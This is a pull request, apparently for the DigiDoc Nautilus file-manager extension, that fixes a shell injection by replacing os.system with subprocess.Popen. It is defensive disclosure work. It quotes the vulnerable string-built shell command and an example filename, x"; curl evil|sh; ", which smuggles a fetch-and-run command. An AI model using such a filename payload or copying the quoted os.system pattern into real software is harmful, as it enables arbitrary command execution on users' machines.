Fix shell injection in Nautilus extension#1407
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The right-click "Sign digitally" / "Encrypt files" handlers passed the selected file paths into a shell command string via os.system:
args += "\"%s\" " % path
os.system("qdigidoc4 " + args + "&")
Linux filenames may contain any byte except '/' and NUL, including '"', ';', '$', backticks and newlines. A file named e.g. x"; curl evil|sh; " sitting in any folder the user opens with Nautilus would, on right-click + menu activation, execute arbitrary commands as that user – no further prompts. The same pattern was duplicated in the crypto branch.
Replace os.system with subprocess.Popen passing argv as a list, so the filename is delivered to qdigidoc4 directly via execvp() without a shell in between. start_new_session=True detaches the child from Nautilus, preserving the backgrounding behaviour previously emulated by the trailing '&'. The now-unused 'import os' is dropped.
OffSeq Cybersecurity / Nils Putnins / npu@offseq.com
https://offseq.com/ / https://radar.offseq.com
metsma
approved these changes
May 13, 2026
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The right-click "Sign digitally" / "Encrypt files" handlers passed the selected file paths into a shell command string via os.system:
Linux filenames may contain any byte except '/' and NUL, including '"', ';', '$', backticks and newlines. A file named e.g. x"; curl evil|sh; " sitting in any folder the user opens with Nautilus would, on right-click + menu activation, execute arbitrary commands as that user – no further prompts. The same pattern was duplicated in the crypto branch.
Replace os.system with subprocess.Popen passing argv as a list, so the filename is delivered to qdigidoc4 directly via execvp() without a shell in between. start_new_session=True detaches the child from Nautilus, preserving the backgrounding behaviour previously emulated by the trailing '&'. The now-unused 'import os' is dropped.
OffSeq Cybersecurity / Nils Putnins / npu@offseq.com
https://offseq.com/ / https://radar.offseq.com
Signed-off-by: Nils Putnins npu@offseq.com